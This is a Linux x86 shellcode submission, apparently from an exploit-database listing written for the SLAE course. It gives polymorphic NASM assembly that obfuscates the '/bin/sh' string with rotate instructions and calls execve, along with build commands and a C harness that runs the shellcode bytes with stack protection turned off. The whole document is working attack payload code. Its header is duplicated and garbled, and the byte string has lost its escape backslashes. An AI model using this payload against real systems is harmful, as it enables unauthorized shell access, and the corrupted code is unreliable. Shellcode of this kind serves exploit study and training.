/*

################### Description ###################

; Title : Polymorphic execve /bin/sh - Shellcode
; Author : Hashim Jawad
; Website : ihack4falafel[.&# /*

################### Description ###################

; Title : Polymorphic execve /bin/sh - Shellcode
; Author : Hashim Jawad
; Website : ihack4falafel[.]com
; Twitter : @ihack4falafel
; SLAE ID : SLAE-1115
; Purpose : spawn /bin/sh shell
; OS : Linux
; Arch : x86
; Size : 26 bytes

#################### sh.nasm ######################

global _start

section .text

_start:
; zero out EAX
xor eax,eax
push eax

; push (/bin/sh) to the stack
mov edi, 0x343997B7
rol edi, 1
push edi
mov esi, 0xD2C45E5E
ror esi, 1
push esi

; ping kernel!
lea ebx, [esp]
mov al,0xb
int 0x80

################### sh binary #####################

nasm -f elf32 -o sh.o sh.nasm

ld -z execstack -o sh sh.o

################## Shellcode #####################

objdump -d sh -M intel

################### Compile #####################

gcc -fno-stack-protector -z execstack sh.c -o sh

*/

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"x31xc0x50xbfxb7x97x39x34xd1xc7x57xbex5ex5exc4xd2xd1xcex56x8dx1cx24xb0x0bxcdx80";

main()
{

printf("Shellcode Length: %d ", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}